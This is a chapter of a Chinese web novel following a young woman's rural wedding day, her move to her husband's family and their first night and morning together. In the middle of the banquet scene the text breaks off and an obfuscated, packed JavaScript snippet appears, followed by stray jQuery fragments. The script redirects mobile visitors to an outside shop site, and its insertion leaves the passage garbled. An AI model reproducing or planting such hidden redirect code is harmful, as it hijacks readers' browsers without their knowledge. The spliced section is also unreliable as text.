腊月十八，天还没亮，沈家沟的鸡就叫了。沈彦是被灶房里的动静吵醒的，锅碗瓢盆的碰撞声还有李翠莲跟人说话的声音。她睁开眼，盯着头顶的房梁看了一会儿，才想起来今天是什么日子。
她躺了半分钟，掀开被子坐起来。屋里冷，棉袄冰得像铁皮，她咬着牙套进去，缩着脖子把扣子系好。
推开门，院子里已经亮起了灯。灶房的烟囱冒着白烟，李翠莲系着围裙在里头忙活，案板上摊着七八张已经烙好的葱油饼。沈芳蹲在灶台前烧火，脸被火光映得通红。沈军不知道跑哪儿去了。
“起来了？”李翠莲头也没抬，手里的铲子在锅里翻着，“去洗脸，吃了饭还得梳头，等会你大姑找来化妆的就来了，你今天可要好好打扮一下。”
沈彦应了一声，走到水缸边，舀了一瓢水倒进脸盆。水冰凉，浇在脸上激得她打了个哆嗦。她拿毛巾擦了脸，对着挂在墙上的小圆镜看了看自己。跟昨天没什么两样。但今天是腊月十八，今天她要嫁人。
早饭是葱花面叶，卧了一个荷包蛋。沈彦坐在灶房的小板凳上，端着碗吃，李翠莲在旁边收拾东西，嘴里念叨着：“嫁妆单子我写好了，贴在箱子盖上。被褥两床，枕头一对，衣裳两身，脸盆一个，暖壶两个，毛巾两条，缝纫机一台……你都记住了，别到了人家那儿说不清楚。”
“这缝纫机你可要看好，虽说是我给你添的，但到了那边，就是你的东西。”李翠莲停下手里的活，看了她一眼，想说什么，又咽回去了。
沈彦吃完面，把碗洗了，回屋换衣裳。枣红色棉袄，藏蓝色裤子，黑条绒布鞋。衣裳是李翠莲找村里的裁缝做的，很合身不紧不松。
化妆的人来的很快，这时候的妆容也简单，没花多少时间。化完妆后，沈彦对着镜子照了照，又把头发重新梳了一遍，用皮筋扎好，感觉就是脸白了点，嘴巴比平时红。
这时，沈芳推门进来，手里攥着一把塑料梳子。“姐，你帮我梳头发吧。今天是最后一次了。”沈芳说着就站到她身前，沈彦从镜子里看见妹妹低着头，嘴唇抿着，腮帮子鼓鼓的，像个受气的包子。
“行了。”沈彦转过身，把梳子从她手里抽走，“以后你自己梳，别老找妈。”沈芳没吭声，低着头出去了，其实她好舍不得姐姐，不想让姐姐嫁人。
八点钟，梁家来接人的车到了。不是轿车，是两辆拖拉机。车头扎着红布，车厢里铺了木板，木板上垫了麻袋。这在当时的农村，算是体面的迎亲队伍了。
梁述坐在第一辆拖拉机的副座上，穿了一件藏蓝色的新棉袄，是刘桂兰扯布找裁缝做的，领口有点紧，袖口长了一截。他的头发刚理过，耳朵边上的青碴儿茬子还看得见。一米八的个子缩在拖拉机副座上，比平时精神。
拖拉机在沈家门口停下来，梁述跳下车，站到院门口，没有进去。按规矩，新郎要在门口等着，等女方家的人出来招呼才能进。
李翠莲从堂屋出来，脸上堆着笑，嘴上说着“来了来了，快进来坐”，一边往灶房那边张罗茶水。梁述进了院子，站在堂屋门口，没往里走。跟他一起来的还有梁诚和两个本家叔伯，梁德茂没来，他在家里招待客人。
沈彦在里屋，听见了外头的动静。拖拉机突突突的声音停了，院子里多了人声，有人说话有人笑，乱糟糟的。她坐在炕沿上，手里攥着那个布包——里面是她的嫁妆单子和两百块钱。李翠莲早上跟她说：“彩礼一千五，妈留下两百，剩下一千你带回去。不是妈舍不得，是你弟弟妹妹还小，家里也紧巴。这一千，你拿着过日子用。”沈彦没说话，把布包塞进了嫁妆箱子。
“沈彦，出来了。”李翠莲推门进来，声音压低了，“人家来了，你别在屋里蹲着。”沈彦站起来，拿起炕上的布包，里面是她随身带的几样小东西。
堂屋里，梁述正站在八仙桌旁边，手里端着一杯茶，没喝也没放。看见沈彦出来，他抬起眼看了她一下，又低下去。沈彦也没看他，径直走到沈厚面前。
沈厚坐在太师椅上，穿着那件半新的中山装，头发梳得整齐。他看着沈彦，嘴唇动了动，最后只说了一句：“过去了好好过。”
沈厚从口袋里摸出一个红纸包，递给她。沈彦没接，李翠莲在旁边红了眼眶，但没哭，拉着沈彦的手把红包塞进她口袋里：“到了人家家里，勤快点，别让人挑理。”说完就转身往灶房走了，背影挺得笔直。
接亲的规矩不复杂。女方家的人把嫁妆搬上拖拉机，码在车厢里。沈彦的那个木头箱子也搬了上去，梁家的叔伯帮着搬东西，嘴上说着“好嫁妆好嫁妆”，眼睛在缝纫机上多停了两眼。
沈彦被李翠莲领着出了院门。院门口围了一圈看热闹的邻居，有小孩在人群里钻来钻去，嘻嘻哈哈地笑。马丽芳站在人群最前面，穿着一件红底碎花的棉袄，冲沈彦挤了挤眼睛。沈彦看了她一眼，笑了出来。
梁述站在拖拉机旁边，看着沈彦走过来。她穿着枣红色棉袄，低着头，步子不快不慢。他往旁边让了让，沈彦踩上车轮的轮毂，翻进车厢里。车厢里垫了麻袋，坐上去不硬。
梁述爬上副座，坐在她前面。有人喊了一声“走了”，拖拉机突突突地发动起来，车身震了一下，沈彦赶紧扶住车厢板。围观的邻居们开始往外扔鞭炮，“噼里啪啦”响成一片，碎红纸屑飞起来又落下去。沈彦从车厢里回头看了一眼。
沈厚站在院门口，双手背在身后，没动。李翠莲站在他旁边，手里攥着围裙角，没擦眼睛，但眼眶是红的。沈芳和沈军站在更后面，沈芳咬着嘴唇，沈军手里还攥着那把玩具手枪。
拖拉机拐了个弯，沈家沟的房子被挡住了。沈彦转回头，面朝前方。风有点大，前面梁述的后背为沈彦挡住了大半的风，后脑勺的头发被风吹得乱翘。
从沈家沟到梁庄，骑车几分钟就到了，拖拉机走得更慢些，坑坑洼洼的路面颠得人屁股疼。沈彦攥着车厢板，跟着车身的节奏一晃一晃的。嫁妆箱子在旁边跟着晃，发出哐当哐当的响声。
梁家这边，新房已经收拾好了。镇东头那三间瓦房，院子扫得干干净净，连墙角的枯草都拔了。东屋门上贴了一副红纸对联，是梁诚找人写的，上联“喜结良缘”，下联“百年好合”，横批“幸福美满”。字写得一般，红纸也皱巴巴的，但贴在那里就是喜气的。
东屋里面，梁述置办的那些东西都摆好了。松木桌子靠窗，两把椅子一边一把。柜子摆在床头，里面空空的。炕上铺了新炕席，竹篾编的，压得平整。褥子是旧的，但洗过晒过，闻着有股太阳的味道。被子是新做的，蓝底白花棉布，棉花是刘桂兰去镇上弹的，絮得厚实。
刘桂兰在新房里转了好几圈，摸摸桌子，拍拍被子，嘴里念叨着“差不多了差不多了”。张香玲也过来帮忙，把窗台擦了又擦，还在窗台上摆了一个玻璃瓶，插了几枝从院子里摘的干芦苇。
“老二媳妇的东西比我的多。”张香玲看着墙角那台缝纫机，笑着说了一句，语气不重，但刘桂兰听出来了。
“那是人家娘家陪送的，又不是咱家买的。”刘桂兰把话题岔开了，“你那边屋子还缺什么不？”看着儿媳妇陪嫁的东西，她心里的不满也少了，毕竟当时可能是真有难处。“不缺。”张香玲笑了笑，转身回西屋去了。
拖拉机到了梁家湾，先在老屋那边停了一下。新媳妇要先到婆家老屋认门，再去新房。梁德茂站在老屋门口，穿着一件旧军大衣，脸上挂着不自然的笑。刘桂兰站在他旁边，围着围裙，双手在裙子上反复擦。
梁述先跳下车，走到车厢后面，把手伸给沈彦。沈彦借着他的手，自己踩着车轮翻下来了。
沈彦跟着刘桂兰进了老屋。三间土坯房，堂屋不大，一张八仙桌，墙上贴着年画，地面是砖铺的。她站在堂屋中间，叫了声“妈”，刘桂兰应了一声，脸上的笑容很大。她又叫了声“爸”，梁德茂点点头，从口袋里摸出一个红纸包递给她。沈彦接过来，说了声“谢谢爸”，把红纸包揣进兜里。
张香玲从西屋探出头来，笑着叫了声“弟妹”。沈彦叫了声“嫂子”，两个人对看了一眼，都没多说什么。梁言从灶房端着一碗水出来，笑嘻嘻地递给沈彦：“二嫂，喝水。”嘴甜得不像个十七八的小伙子。沈彦接过碗喝了一口，说了声“谢谢”。
在老屋待了不到一刻钟，刘桂兰就说：“行了，去新房吧，那边都收拾好了。”新房这边，沈彦第一次走进东屋。
屋子比她想象的大一点，但也没有大多少。一张桌子两把椅子一个柜子，炕上铺着被褥，简简单单的。她站在门口看了一圈，把随身带的布包放在炕上，坐到炕沿边，看了看窗外。窗外是那棵老槐树，光秃秃的枝丫伸向灰白色的天空。
梁述站在门口，没进来。他在院子里跟梁诚说话，声音不大，沈彦听不太清。过了一会儿，他端着一盆热水进来了，盆沿上搭着一条新毛巾。
“洗把脸。”他把盆放在地上，转身又出去了。沈彦蹲下来，把手伸进盆里。水不凉，温热温热的，毛巾是新的，棉线的，有些硬，擦在脸上有点扎。她把毛巾拧干挂好，又坐回炕沿上。
今天的婚宴在院子里办，一共四桌，亲戚邻居坐满。梁德茂借了几张圆桌和板凳，刘桂兰带着张香玲在灶房忙活，菜已经备好了——炖鸡、炒鸡蛋、烩豆腐、粉条白菜，加上凉拌菜和馒头，在当时的农村算是体面的席面了。
沈彦坐在屋里听着外头的动静。梁述一直没进来，在院子里张罗着搬桌子摆板凳。她隔着窗户看见他的背影，穿着那件藏蓝色新棉袄，腰背挺直，在人群里显得比旁人高出一截。
中午十二点，酒席开了。沈彦从屋里出来，坐到桌边。梁述坐在她旁边，两个人并排坐着，中间隔了半臂的距离。刘桂兰张罗着上菜，一盘一盘往桌上端，嘴上说着“吃吃吃，别客气”。
亲戚邻居们吃着喝着，有人劝酒，有人划拳，热闹是热闹，但跟沈彦没什么关系。她低头吃饭，吃得不多。梁述也没怎么吃，时不时站起来去灶房端菜、给长辈敬酒。他一杯接一杯地喝，脸喝得发红，耳朵根子都是红的。
梁家的五个叔伯来了三个，另外两个没来，只托人捎了礼金。来的这三个在酒桌上坐在一起，说话声最大。老大梁德福端起酒杯，对着梁述说：“老二有出息了，娶了媳妇，以后好好干，别给你爹丢人。”话是好话，但语气听着不怎么舒服，像长辈训晚辈。
梁述举杯碰了一下，没说啥。老二
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632805|206451||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
梁德禄在旁边接话：“听说彩礼花了一千五？梁述，这媳妇可不便宜啊，你可得多挣点。”话刚落，桌上几个人笑起来。梁述端着酒杯没笑，沈彦也没笑。
刘桂兰在灶房听见了，脸色不好看，但没出去，使劲搅着锅里的汤。
酒席吃到后半段，有人起哄让新郎新娘“喝交杯酒”。梁述看了沈彦一眼，旁边人拿来两个酒盅，倒了白酒，梁述接过来递给她一杯。两个人胳膊绕在一起，各喝了一口。酒辣，沈彦呛了一下，偏过头咳嗽了两声。梁述把她的酒盅接过去，放在桌上。
有人还想闹，梁诚站出来挡了：“差不多行了，天冷，让新媳妇进屋吧。”他这样说了之后闹的人也就散了。
客人走了之后，院子里一片狼藉，刘桂兰和张香玲在收拾，梁诚帮着搬桌子搬板凳。梁述站在院子里，被风吹得打了个冷颤，酒劲上来了一些，脸还是红的。
沈彦本也想帮忙，但是刘桂兰不让，新娘子第一天到家门，不差这一会。她回到东屋，把门窗关上，坐在炕沿上。她从口袋里摸出两个红纸包，一个是沈厚给的，一个是梁德茂给的。沈厚那个包了六十块钱，票子新的，折得方方正正。梁德茂那个包了四十，票子旧，皱巴巴的。她把这把钱叠在一起，揣进里衣口袋。
梁述推门进来的时候，沈彦正坐在炕沿上发呆。他在门口站了一下，走进来坐到桌边的椅子上，跟她隔了一米远。两个人都没说话。屋子里很静，能听到院子外面偶尔传来的狗叫声，和远处谁家收音机里放着的晋剧。
沈彦先开口了。“你喝了不少。醉不醉？”
梁述说：不醉。”沉默了一会，梁述从棉袄口袋里摸出一个布包，放在桌上，推到沈彦那边。布包不大，用一块蓝布裹着，绑了几道绳子。
沈彦解开绳子，打开布包，里面是一沓钱。一块的、两块的、五块的、十块的，有纸币有硬币，最大的面额是十块，一共也没几张。钱皱巴巴的，有的票子上还沾着灰，一看就是攒了很久的。她抬头看梁述，有些惊讶。
“给你。”梁述说，声音不大，“你先拿着。以后家里的钱都给你。”沈彦低头看着那沓钱没接。梁述以为她嫌少，又补了一句：“不多，以后会多的。”
沈彦把布包重新包好，放在炕边。她还是没说话，但坐到了桌边的另一把椅子上，跟梁述面对面。两个人中间隔着一张桌子，桌上摆着一盏煤油灯。
沈彦先关注的是梁述的手：“你手都裂了。”梁述下意识把手缩了缩，“干活干的，我都习惯了。”说完梁述把手插进口袋里。
到了晚上，刘桂兰端了两碗面过来。臊子面，面擀得厚切得宽，臊子里的肉还挺多的。她站在门口没进来，把面递进来就走了。梁述把两碗面放在桌上，一碗推给沈彦。
吃完面，梁述把碗送到灶房。刘桂兰正在灶台前刷锅，看见他进来，说了一句：“碗放那儿吧，明天我洗。”“谢谢妈。”梁述把碗放进水池，转身走了。
回到东屋，沈彦已经在炕边坐着了。梁述关上门，吹了灯。屋子里黑下来，只有窗纸上透进来的一点月光。他摸黑脱了棉袄，放在椅子上，躺到炕上。
沈彦躺在他旁边，隔着一床被子的距离。两个人都没动，也没说话。黑暗里，沈彦听到他呼吸的声音。她没动不过梁述还是把自己的被子往她那边推了推。
两个人就这么躺着。院子外面偶尔有风刮过，槐树的枝丫在窗纸上投下晃动的影子。沈彦把手缩回被子里翻了个身，面朝向梁述，没想到梁述也瞪大双眼盯着她，气氛一下就变得暧昧起来，不知道是谁先有动作，两人度过了美好的夜晚。
折腾了很久，沈彦累的睡着了，一旁的梁述听到她均匀的呼吸，闭上眼睛慢慢地也睡着了。
婚后第一天，梁述天没亮就醒了。等沈彦起来时梁述已经不在屋子里。她穿上棉袄推开门，发现梁述蹲在井台边洗脸，水泼在脸上，哗哗的。他听见门响，回头看了她一眼，用袖子擦了把脸上的水。
“厨房里有饭你趁热吃。”梁诚和张香玲一大早就出门了，给这小两口留下时间相处，省得见面尴尬。沈彦走到灶房，灶台上摆着一锅小米粥，一碟咸菜，她盛了一碗，站着喝了两口，又跑来院子里问梁述：“你吃了吗？没吃赶紧吃两口。”
此时，梁述已经洗完了脸，站在院子中间，“我不吃了，今天我得去赵老大那边干活，有个活赶工期。”沈彦咬了一口馒头，点了点头。
他想了想继续说道：“中午不一定能回来吃饭，你做自己的饭就行，不用管我。”梁述站在那里，感觉没什么要说的了。他转身回屋，拿了件旧外套，又从东屋门口推出自行车，往外走。
走到院门口，忽然停下来，听见沈彦叫他，“你那个馒头再走，饿了还能垫吧垫吧。”说着她把手里的大馒头塞给他。梁述看着手里的大馒头张了张嘴，最后只说了句“我走了”，就跨上自行车骑出去了。
院门吱呀一声关上。沈彦站在灶房门口，把剩下的馒头塞进嘴里，嚼了嚼咽下去。她转过身把碗和锅洗了，灶台擦干净。然后回到东屋，把炕上的被褥叠好，桌子擦了一遍，环顾四周发觉没什么活要干了。顿时有些无聊，而且她对这里一点也不熟悉。